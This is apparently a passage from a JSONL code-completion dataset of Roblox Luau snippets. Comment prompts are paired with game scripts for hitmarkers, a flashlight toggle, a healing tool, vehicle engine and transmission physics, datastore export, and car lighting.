then\n\t\t\t\tframe.BackgroundColor3\t= Color3.new(1, 0.2, 0.2)\n\t\t\tend\n\t\tend\n\tend\n\t\t\n\tlocal infoB\t\t= TweenInfo.new(0.05, Enum.EasingStyle.Linear, Enum.EasingDirection.Out)\n\tlocal tweenB\t= TweenService:Create(hitmarker, infoB, {Size = UDim2.new(0.015, 0, 0.015, 0)})\n\t\n\ttweenB:Play()\n\tDebris:AddItem(hitmarker, 0.1)\n\t\n\tlocal damageLabel\t= script.DamageLabel:Clone()\n\t\tdamageLabel.Position\t= UDim2.new(0, position.X, 0, position.Y)\n\t\tdamageLabel.Size\t\t= UDim2.new(0, 1, 0, 1)\n\t\tdamageLabel.Text\t\t= tostring(damage)\n\t\tdamageLabel.TextColor3\t= armor and Color3.fromRGB(248, 130, 33) or Color3.fromRGB(230, 230, 230)\n\t\tdamageLabel.Parent\t\t= GUI\n\t\t\n\tlocal offset\t= math.random(-36, 36)\n\t\t\n\tlocal infoC\t\t= TweenInfo.new(0.2, Enum.EasingStyle.Elastic, Enum.EasingDirection.Out)\n\tlocal tweenC\t= TweenService:Create(damageLabel, infoC, {Size = UDim2.new(0, 36, 0, 36); Rotation = offset / 3; Position = UDim2.new(0, position.X + offset, 0, position.Y - 48)})\n\tlocal infoD\t\t= TweenInfo.new(1, Enum.EasingStyle.Linear, Enum.EasingDirection.Out)\n\tlocal tweenD\t= TweenService:Create(damageLabel, infoD, {TextTransparency = 1; TextStrokeTransparency = 1})\n\t\n\ttweenC:Play()\n\ttweenD:Play()\n\tDebris:AddItem(damageLabel, 1)\n\t\n\tscript.HitmarkerSound:Play()\n\t\n\tif armor then\n\t\tscript.ArmorSound:Play()\n\tend\n\tif headshot then\n\t\tscript.HeadshotSound:Play()\n\tend\nend\n"} +{"prompt": "-- Put in StarterPlayer>StarterCharacterScripts\n-- Edit only if you know what are you doing", "completion": "\n\n\nlocal mouse = game.Players.LocalPlayer:GetMouse()\n\nfunction Light()\n local player = game.Players.LocalPlayer\n local playerChar = player.Character\n local playerLight = playerChar.Head:FindFirstChild(\"Light\")\n\n if playerLight then\n playerLight:Destroy()\n else\n local light = Instance.new(\"SurfaceLight\",playerChar:FindFirstChild(\"Head\"))\n light.Name = \"Light\" -- Edit your light\n light.Range = 30\n\t\tlight.Angle = 50\n\t\tlight.Shadows = true\n\t\tlight.Brightness = 1\n end\nend\n\nmouse.KeyDown:connect(function(key)\n\t\nkey = key:lower()\nif key == \"e\" then -- Change with your key\n\tscript.Sound:Play()\n Light()\n\nend\nend)\n"} +{"prompt": "-- Touched", "completion": "\nStealthLava.Touched:connect(function(Part)\n\tif (Hold == true) then return end\n\tHold = true\n\n\t-- Check For Player\n\tAvatar = Part.Parent\n\tif (game.Players:FindFirstChild(Avatar.Name) == nil) then Default() return end\n\tif (game.Players:FindFirstChild(Avatar.Name).Character ~= Avatar) then Default() return end\n\n\tMorphPlayer(Avatar)\n\n\tDefault()\nend)\n"} +{"prompt": "--[[\n\tRe-written by Phoenix\n\t(Actually works and doesn't lag the server to death K)\n\tThanks\n]]", "completion": "\n\nlocal PartWeld = function(From, To)\n\tlocal WeldIns = Instance.new(\"WeldConstraint\")\n\tWeldIns.Part0 = From\n\tWeldIns.Part1 = To\n\tWeldIns.Parent = From\n\tWeldIns.Name = \"Weld\"\n\tFrom.Anchored = false\nend\n\nlocal Weld = function(WeldTree, OverrideCenter)\n\tlocal Center = nil\n\t\n\tif OverrideCenter == nil then\n\t\tif WeldTree:FindFirstChildOfClass(\"MeshPart\") then\n\t\t\tCenter = WeldTree:FindFirstChildOfClass(\"MeshPart\")\n\t\telseif WeldTree:FindFirstChildOfClass(\"Part\") then\n\t\t\tCenter = WeldTree:FindFirstChildOfClass(\"Part\")\n\t\telseif WeldTree:FindFirstChildOfClass(\"UnionOperation\") then\n\t\t\tCenter = WeldTree:FindFirstChildOfClass(\"UnionOperation\")\n\t\tend\n\telse\n\t\tCenter = OverrideCenter\n\tend\n\n\tif Center ~= nil then\n\t\tfor Index, ToWeld in pairs(WeldTree:GetDescendants()) do\n\t\t\tif ToWeld:IsA(\"BasePart\") then\n\t\t\t\tPartWeld(ToWeld, Center)\n\t\t\tend\n\t\tend\n\n\t\tif WeldTree:IsA(\"BasePart\") then\n\t\t\tPartWeld(WeldTree, Center)\n\t\tend\n\tend\nend\n\nlocal TweenService = game:GetService(\"TweenService\")\n\nlocal Tool = script.Parent\nlocal Handle = Tool:WaitForChild(\"Handle\")\nlocal Died, Character = nil\n\nlocal ToolEquipped = false\nlocal Heal = 3\nlocal Sounds = {\n\tCoilSound = Handle:WaitForChild(\"CoilSound\"),\n}\n\nlocal Loop = function()\n\twhile true do\n\t\twait(1)\n\t\t\n\t\tif ToolEquipped == true then\n\t\t\tCharacter.Humanoid.Health = Character.Humanoid.Health + Heal\n\t\tend\n\tend\t\nend\n\nlocal Equipped = function()\n\tToolEquipped = true\n\tCharacter = Tool.Parent\n\t\n\tif Character == nil then\n\t\treturn\n\telseif Character.Humanoid == nil then\n\t\treturn\n\tend\n\t\n\tSounds.CoilSound:Play()\nend\n\nlocal Unequipped = function()\n\tToolEquipped = false\nend\n\nWeld(Tool.Model, Tool.Handle)\n\nTool.Equipped:Connect(Equipped)\nTool.Unequipped:Connect(Unequipped)\n\nLoop()\n"} +{"prompt": "--Edited by Stickmasterluke", "completion": "\n\nTool=script.Parent\n\nenabled = true\nfunction onButton1Down(mouse)\n\tif not enabled then\n\t\treturn\n\tend\n\n\tenabled = false\n\tmouse.Icon = \"rbxasset://textures\\\\GunWaitCursor.png\"\n\n\twait(.5)\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tenabled = true\n\nend\n\nfunction onEquippedLocal(mouse)\n\tif mouse == nil then\n\t\tprint(\"Mouse not found\")\n\t\treturn \n\tend\n\t\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tmouse.Button1Down:connect(function() onButton1Down(mouse) end)\nend\n\n\nTool.Equipped:connect(onEquippedLocal)\n"} +{"prompt": "--Made by Luckymaxer", "completion": "\n\nModel = script.Parent\nHumanoid = Model:FindFirstChild(\"Humanoid\")\n\nPlayers = game:GetService(\"Players\")\nDebris = game:GetService(\"Debris\")\n\nCreator = Model:FindFirstChild(\"Creator\")\nTool = Model:FindFirstChild(\"Tool\")\n\nfunction DestroyModel()\n\tDebris:AddItem(Model, 2)\nend\n\nif not Creator or not Creator.Value or not Creator.Value:IsA(\"Player\") or not Creator.Value.Parent or not Tool or not Tool.Value or not Tool.Value.Parent then\n\tDestroyModel()\n\treturn\nend\n\nCreator = Creator.Value\nTool = Tool.Value\n\nCharacter = Creator.Character\nif not Character then\n\tDestroyModel()\n\treturn\nend\n\nCreator.Changed:connect(function(Property)\n\tif Property == \"Parent\" and not Creator.Parent then\n\t\tDestroyModel()\n\tend\nend)\n\nCharacter.Changed:connect(function(Property)\n\tif Property == \"Parent\" and not Character.Parent then\n\t\tDestroyModel()\n\tend\nend)\n\nTool.Changed:connect(function(Property)\n\tif Property == \"Parent\" then\n\t\tlocal Player = ((Tool.Parent and ((Tool.Parent:IsA(\"Backpack\") and Tool.Parent.Parent) or Players:GetPlayerFromCharacter(Tool.Parent))) or nil)\n\t\tif (not Player or (Player and Player ~= Creator)) then\n\t\t\tDestroyModel()\n\t\tend\n\tend\nend)\n\nif Humanoid then\n\tHumanoid.Died:connect(function()\n\t\tDestroyModel()\n\tend)\nend\n"} +{"prompt": "-- if the player steps in a vehicle", "completion": "\ncamera:GetPropertyChangedSignal(\"CameraSubject\"):Connect(function()\n if camera.CameraSubject:IsA(\"VehicleSeat\") then\n camera.CameraSubject = humanoid\n end\nend)\n"} +{"prompt": "--[[Engine]]", "completion": "\n\n\tlocal fFD = _Tune.FinalDrive*_Tune.FDMult\n\tlocal fFDr = fFD*30/math.pi\n\tlocal cGrav = workspace.Gravity*_Tune.InclineComp/32.2\n\tlocal wDRatio = wDia*math.pi/60\n\tlocal cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)\n\tlocal cfYRot = CFrame.Angles(0,math.pi,0)\n\tlocal rtTwo = (2^.5)/2\n\n\t--Horsepower Curve\n\tlocal fgc_h=_Tune.Horsepower/100\n\tlocal fgc_n=_Tune.PeakRPM/1000\n\tlocal fgc_a=_Tune.PeakSharpness\n\tlocal fgc_c=_Tune.CurveMult\n\t\n\tfunction FGC(x)\n\t\tx=x/1000\n\t\treturn (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1))))\n\tend\n\tlocal PeakFGC = FGC(_Tune.PeakRPM)\n\t\n\t--Plot Current Horsepower\n\tfunction GetCurve(x,gear)\n\t\tlocal hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0)\n\t\treturn hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling\n\tend\n\t\n\t--Output Cache\n\tlocal CacheTorque = true\n\tlocal HPCache = {}\n\tlocal HPInc = 100\n\t\n\tif CacheTorque then\n\t\tfor gear,ratio in pairs(_Tune.Ratios) do\n\t\t\tlocal hpPlot = {}\n\t\t\tfor rpm = math.floor(_Tune.IdleRPM/HPInc),math.ceil((_Tune.Redline+100)/HPInc) do\n\t\t\t\tlocal tqPlot = {}\n\t\t\t\ttqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*HPInc,gear-2)\n\t\t\t\thp1,tq1 = GetCurve((rpm+1)*HPInc,gear-2)\n\t\t\t\ttqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(HPInc/1000)\n\t\t\t\ttqPlot.TqSlope = (tq1 - tqPlot.Torque)/(HPInc/1000)\n\t\t\t\thpPlot[rpm] = tqPlot\n\t\t\tend\n\t\t\ttable.insert(HPCache,hpPlot)\n\t\tend\n\tend\n\t\n\t--Powertrain\n\t\n\t--Update RPM\n\tfunction RPM()\n\t\t--Neutral Gear\n\t\tif _CGear==0 then _ClutchOn = false end\n\t\n\t\t--Car Is Off\n\t\tlocal revMin = _Tune.IdleRPM\n\t\tif not _IsOn then \n\t\t\trevMin = 0 \n\t\t\t_CGear = 0\n\t\t\t_ClutchOn = false\n\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\tend\n\n\t\t--launch control\t\n\t\tif math.floor(script.Parent.Values.Velocity.Value.Magnitude) == 0 and _GThrot == 1 and _GBrake == 1 and _IsOn == true and _CGear > 0 then\n\t\t\tif _GThrot == 1 and _GBrake == 1 then\n\t\t\t\tif LaunchBuild < _Tune.LaunchBuildup then\n\t\t\t\t\tLaunchBuild = LaunchBuild + 50\n\t\t\t\tend\n\t\t\t\t_RPM = LaunchBuild\n\t\t\telse\n\t\t\t\tif LaunchBuild > _Tune.IdleRPM then\n\t\t\t\t\tLaunchBuild = LaunchBuild - 50\n\t\t\t\tend\n\t\t\t\t_RPM = LaunchBuild\n\t\t\tend\n\t\t\treturn\n\t\telse\n\t\t\tif LaunchBuild > _Tune.IdleRPM then\n\t\t\t\tLaunchBuild = LaunchBuild - 50\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Determine RPM\n\t\tlocal maxSpin=0\n\t\tfor i,v in pairs(Drive) do\n\t\t\tif v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end\n\t\tend\n\t\tif _ClutchOn then\n\t\t\tlocal aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)\n\t\t\tlocal clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)\n\t\t\t_RPM = _RPM*clutchP + aRPM*(1-clutchP)\n\t\telse\n\t\t\tif _GThrot-(_Tune.IdleThrottle/100)>0 then\n\t\t\t\tif _RPM>_Tune.Redline then\n\t\t\t\t\t_RPM = _RPM-_Tune.RevBounce*2*(LaunchBuild/_Tune.IdleRPM)\n\t\t\t\telse\n\t\t\t\t\t_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t_RPM = math.max(_RPM-_Tune.RevDecay,revMin)\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Rev Limiter\n\t\t_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])\n\t\tif _RPM>_Tune.Redline then \n\t\t\tif _CGear<#_Tune.Ratios-2 then\n\t\t\t\t_RPM = _RPM-_Tune.RevBounce\n\t\t\telse\n\t\t\t\t_RPM = _RPM-_Tune.RevBounce*.5\n\t\t\tend\n\t\tend\n\tend\n\t\n\t--Apply Power\n\tfunction Engine()\n\t\tlocal IsOnMult = _IsOn == true and 1 or 0\n\t\t--Get Torque\n\t\tlocal maxSpin=0\n\t\tfor i,v in pairs(Drive) do\n\t\t\tif v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end\n\t\tend\n\t\tif _ClutchOn then\n\t\t\tif CacheTorque then\n\t\t\t\tlocal cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/HPInc)]\n\t\t\t\t_HP = cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/HPInc))/1000)\n\t\t\t\t_OutTorque = cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/HPInc))/1000)*LaunchBuild/_Tune.IdleRPM\n\t\t\telse\n\t\t\t\t_HP,_OutTorque = GetCurve(_RPM,_CGear)\n\t\t\t\t\n\t\t\tend\n\t\t\tlocal iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav\n\t\t\tif _CGear==-1 then iComp=-iComp end\n\t\t\t_OutTorque = _OutTorque*math.max(1,(1+iComp))*(LaunchBuild/_Tune.IdleRPM)\n\t\telse\n\t\t\t_HP,_OutTorque = 0,0\n\t\tend\n\t\t\n\t\t--Automatic Transmission\n\t\tif _TMode == \"Auto\" and _IsOn then\n\t\t\t_ClutchOn = true\n\t\t\tif _CGear >= 1 then\n\t\t\t\tif _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then\n\t\t\t\t\t_CGear = 1\n\t\t\t\telse\n\t\t\t\t\tif _Tune.AutoShiftMode == \"RPM\" then\n\t\t\t\t\t\tif DM.Value == \"Sport\" or DM.Value == \"SportPlus\" or DM.Value == \"Sport++\" then\n\t\t\t\t\t\t\tif _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then\n\t\t\t\t\t\t\t\t_CGear=math.min(_CGear+1,#_Tune.Ratios-2) \n\t\t\t\t\t\t\telseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then\n\t\t\t\t\t\t\t\t_CGear=math.max(_CGear-1,1)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telseif DM.Value == \"Comfort\" then\n\t\t\t\t\t\t\tif _RPM>(ComfShift+_Tune.AutoUpThresh) then\n\t\t\t\t\t\t\t\t_CGear=math.min(_CGear+1,#_Tune.Ratios-2) \n\t\t\t\t\t\t\telseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(ComfShift-_Tune.AutoDownThresh) then\n\t\t\t\t\t\t\t\t_CGear=math.max(_CGear-1,1)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tif DM.Value == \"Sport\" or DM.Value == \"SportPlus\" or DM.Value == \"Sport++\" then\n\t\t\t\t\t\t\tif car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then\n\t\t\t\t\t\t\t\t_CGear=math.min(_CGear+1,#_Tune.Ratios-2)\n\t\t\t\t\t\t\telseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then\n\t\t\t\t\t\t\t\t_CGear=math.max(_CGear-1,1)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telseif DM.Value == \"Comfort\" then\n\t\t\t\t\t\t\tif car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(ComfShift+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then\n\t\t\t\t\t\t\t\t_CGear=math.min(_CGear+1,#_Tune.Ratios-2)\n\t\t\t\t\t\t\telseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(ComfShift-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then\n\t\t\t\t\t\t\t\t_CGear=math.max(_CGear-1,1)\n\t\t\t\t\t\t\tend\t\t\t\t\t\t\t\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend \n\t\t\n\t\t--Average Rotational Speed Calculation\n\t\tlocal fwspeed=0\n\t\tlocal fwcount=0\n\t\tlocal rwspeed=0\n\t\tlocal rwcount=0\n\t\t\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name == \"F\" then\n\t\t\t\tfwspeed=fwspeed+v.RotVelocity.Magnitude\n\t\t\t\tfwcount=fwcount+1\n\t\t\telseif v.Name==\"RL\" or v.Name==\"RR\" or v.Name == \"R\" then\n\t\t\t\trwspeed=rwspeed+v.RotVelocity.Magnitude\n\t\t\t\trwcount=rwcount+1\n\t\t\tend\n\t\tend\n\t\tfwspeed=fwspeed/fwcount\n\t\trwspeed=rwspeed/rwcount\t\n\t\tlocal cwspeed=(fwspeed+rwspeed)/2\n\t\t\n\t\t--Update Wheels\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\t--Reference Wheel Orientation\n\t\t\tlocal Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector\n\t\t\tlocal aRef=1\n\t\t\tlocal diffMult=1\n\t\t\tif v.Name==\"FL\" or v.Name==\"RL\" then aRef=-1 end\n\t\t\t\n\t\t\t--AWD Torque Scaling\n\t\t\tif car.DriveSeat.AWD.Value then _OutTorque = _OutTorque*rtTwo end\n\t\t\t\n\t\t\t--Differential/Torque-Vectoring\n\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" then\n\t\t\t\tdiffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))\n\t\t\t\tif car.DriveSeat.AWD.Value then\n\t\t\t\t\tdiffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))\n\t\t\t\tend\n\t\t\telseif v.Name==\"RL\" or v.Name==\"RR\" then\n\t\t\t\tdiffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))\n\t\t\t\tif _Tune.Config == \"AWD\" then\n\t\t\t\t\tdiffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t_TCSActive = false\n\t\t\t_ABSActive = false\n\t\t\t--Output\n\t\t\tif _PBrake and ((_Tune.Config ~= \"FWD\" and (((v.Name==\"FL\" or v.Name==\"FR\") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name==\"RR\" or v.Name==\"RL\") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == \"FWD\" and (v.Name==\"RR\" or v.Name==\"RL\"))) then\n\t\t\t\t--PBrake\n\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce\n\t\t\t\tv[\"#AV\"].angularvelocity=Vector3.new()\n\t\t\telse\n\t\t\t\t--Apply Power\n\t\t\t\tif _GBrake==0 then\n\t\t\t\t\tlocal driven = false\n\t\t\t\t\tfor _,a in pairs(Drive) do if a==v then driven = true end end\n\t\t\t\t\tif driven then\n\t\t\t\t\t\tlocal on=1\n\t\t\t\t\t\tif not script.Parent.IsOn.Value then on=0 end\n\t\t\t\t\t\tlocal throt = _GThrot\n\t\t\t\t\t\t\n\t\t\t\t\t\t--Apply TCS\n\t\t\t\t\t\tlocal tqTCS = 1\n\t\t\t\t\t\tif _TCS then\n\t\t\t\t\t\t\ttqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif tqTCS < 1 then\n\t\t\t\t\t\t\t_TCSActive = true\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\t--Update Forces\n\t\t\t\t\t\tlocal dir = 1\n\t\t\t\t\t\tif _CGear==-1 then dir = -1 end\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on\n\t\t\t\t\t\tv[\"#AV\"].angularvelocity=Ref*aRef*_spLimit*dir\n\t\t\t\t\telse\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new()\n\t\t\t\t\t\tv[\"#AV\"].angularvelocity=Vector3.new()\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t--Brakes\n\t\t\t\telse\n\t\t\t\t\tlocal brake = _GBrake\n\t\t\t\t\t\n\t\t\t\t\t--Apply ABS\n\t\t\t\t\tlocal tqABS = 1\n\t\t\t\t\tif _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then\n\t\t\t\t\t\ttqABS = 0\n\t\t\t\t\tend\n\t\t\t\t\tif tqABS < 1 then\n\t\t\t\t\t\t_ABSActive = true\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t--Update Forces\n\t\t\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS\n\t\t\t\t\telse\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS\n\t\t\t\t\tend\n\t\t\t\t\tv[\"#AV\"].angularvelocity=Vector3.new()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\n"} +{"prompt": "--\telseif inputType.Value >= Enum.UserInputType.Gamepad1.Value and inputType.Value <= Enum.UserInputType.Gamepad8.Value then", "completion": "\n"} +{"prompt": "-- Driver Input Loop --", "completion": "\ncoroutine.wrap(function()\n\twhile script.Parent ~= nil do\n\t\t--Update throttle, steer, handbrake\n\t\tlocal seatedHumanoid = DriverSeat.Occupant\n\t\tif seatedHumanoid and not Util.isPlayerBot(Players:GetPlayerFromCharacter(seatedHumanoid.Parent)) then\n\t\t\tgetInputValues()\n\t\t\n\t\t\tlocal currentVel = Chassis.GetAverageVelocity()\n\t\t\n\t\t\tlocal steer = script.Steering.Value\n\t\t\tChassis.UpdateSteering(steer, currentVel)\n\t\t\n\t\t\t-- Taking care of throttling\n\t\t\tlocal throttle = script.Throttle.Value\n\t\t\tscript.AngularMotorVelocity.Value = currentVel\n\t\t\tscript.ForwardVelocity.Value = DriverSeat.CFrame.LookVector:Dot(DriverSeat.Velocity)\n\t\t\tChassis.UpdateThrottle(currentVel, throttle)\n\t\t\n\t\t\t-- Taking care of handbrake\n\t\t\tif script.HandBrake.Value > 0 then\n\t\t\t\tChassis.EnableHandbrake()\n\t\t\tend\n\t\tend\n\t\twait()\n\tend\nend)()\n"} +{"prompt": "-- Updated 10/14/2014 - Updated to 1.0.2\n--- Fixed bug fix. ", "completion": "\n"} +{"prompt": "-- Trim empty datastores and scopes from an entire datastore type:", "completion": "\nlocal function prepareDataStoresForExport(origin)\n\tlocal dataPrepared = {}\n\n\tfor name, scopes in pairs(origin) do\n\t\tlocal exportScopes = {}\n\t\tfor scope, data in pairs(scopes) do\n\t\t\tlocal exportData = {}\n\t\t\tfor key, value in pairs(data) do\n\t\t\t\texportData[key] = value\n\t\t\tend\n\t\t\tif next(exportData) ~= nil then -- Only export datastore when non-empty\n\t\t\t\texportScopes[scope] = exportData\n\t\t\tend\n\t\tend\n\t\tif next(exportScopes) ~= nil then -- Only export scope list when non-empty\n\t\t\tdataPrepared[name] = exportScopes\n\t\tend\n\tend\n\n\tif next(dataPrepared) ~= nil then -- Only return datastore type when non-empty\n\t\treturn dataPrepared\n\tend\nend\n\nlocal function preprocessKey(key)\n\tif type(key) == \"number\" then\n\t\tif key ~= key then\n\t\t\treturn \"NAN\"\n\t\telseif key >= math.huge then\n\t\t\treturn \"INF\"\n\t\telseif key <= -math.huge then\n\t\t\treturn \"-INF\"\n\t\tend\n\t\treturn tostring(key)\n\tend\n\treturn key\nend\n\nlocal function simulateYield()\n\tif Constants.YIELD_TIME_MAX > 0 then\n\t\ttask.wait(rand:NextNumber(Constants.YIELD_TIME_MIN, Constants.YIELD_TIME_MAX))\n\tend\nend\n\nlocal function simulateErrorCheck(method)\n\tif Constants.SIMULATE_ERROR_RATE > 0 and rand:NextNumber() <= Constants.SIMULATE_ERROR_RATE then\n\t\tsimulateYield()\n\t\terror(method .. \" rejected with error (simulated error)\", 3)\n\tend\nend\n"} +{"prompt": "-- server side setup", "completion": "\n\nlocal Pcolors = {{255, 255, 255}, {255, 180, 161}, {226, 231, 255}}\nlocal Lcolors = {{255, 255, 255}, {255, 237, 199}, {205, 227, 255}}\n\nlocal INDcolor = {255, 130, 80}\nlocal plactive = false\nlocal prevChild\n\nF.Setup = function(light_type, popups, tb, fog_color)\n\tevent.IndicatorsAfterLeave.Disabled = true\n\tfor idx, child in pairs(lights.Brake:GetChildren()) do\n\t\tif child.Name == \"L\" and #child:GetChildren() < 1 then\n\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\tspot.Name = \"L\"\n\t\t\tspot.Brightness = 0\n\t\t\tspot.Range = 0\n\t\t\tspot.Face = Enum.NormalId.Back\n\t\t\tspot.Color = Color3.fromRGB(255, 0, 0)\n\t\t\tspot.Shadows = true\n\t\telseif child.Name == \"LN\" then\n\t\t\tif child:IsA(\"MeshPart\") then\n\t\t\t\tchild.TextureID = \"\"\n\t\t\tend\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tchild.Color = Color3.fromRGB(255, 96, 96)\n\t\t\tchild.Transparency = 1\t\t\t\t\t\n\t\tend\t \n\tend\n\t\n\tfor idx, child in pairs(lights.Rear:GetChildren()) do\n\t\tif child.Name == \"L\" and #child:GetChildren() < 1 then\n\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\tspot.Name = \"L\"\n\t\t\tspot.Brightness = 0\n\t\t\tspot.Range = 0\n\t\t\tspot.Face = Enum.NormalId.Back\n\t\t\tspot.Color = Color3.fromRGB(255, 0, 0)\n\t\t\tspot.Shadows = true\n\t\telseif child.Name == \"LN\" then\n\t\t\tif child:IsA(\"MeshPart\") then\n\t\t\t\tchild.TextureID = \"\"\n\t\t\tend\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tchild.Color = Color3.fromRGB(255, 96, 96)\n\t\t\tchild.Transparency = 1\t\t\t\t\n\t\tend\t \n\tend\n\t\n\tfor idx, child in pairs(lights.Reverse:GetChildren()) do\n\t\tif child.Name == \"L\" and #child:GetChildren() < 1 then\t\t\n\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\tspot.Name = \"L\"\n\t\t\tspot.Brightness = 0\n\t\t\tspot.Range = 0\n\t\t\tspot.Face = Enum.NormalId.Back\n\t\t\tspot.Color = Color3.fromRGB(255, 255, 255)\n\t\t\tspot.Shadows = true\n\t\telseif child.Name == \"LN\" then\n\t\t\tif child:IsA(\"MeshPart\") then\n\t\t\t\tchild.TextureID = \"\"\n\t\t\tend\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tchild.Color = Color3.fromRGB(255, 255, 255)\n\t\t\tchild.Transparency = 1\t\t\t\t\n\t\tend\t \n\tend\n\t\n\tfor idx, child in pairs(lights.LeftInd:GetDescendants()) do\n\t\tif child.Name == \"L\" and child.Parent.Name == \"Front\" and #child:GetChildren() < 1 then\n\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\tspot.Name = \"L\"\n\t\t\tspot.Brightness = 0\n\t\t\tspot.Range = 0\n\t\t\tspot.Face = Enum.NormalId.Front\n\t\t\tspot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])\n\t\t\tspot.Shadows = true\n\t\telseif child.Name == \"L\" and child.Parent.Name == \"Rear\" and #child:GetChildren() < 1 then\t\t\t\n\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\tspot.Name = \"L\"\n\t\t\tspot.Brightness = 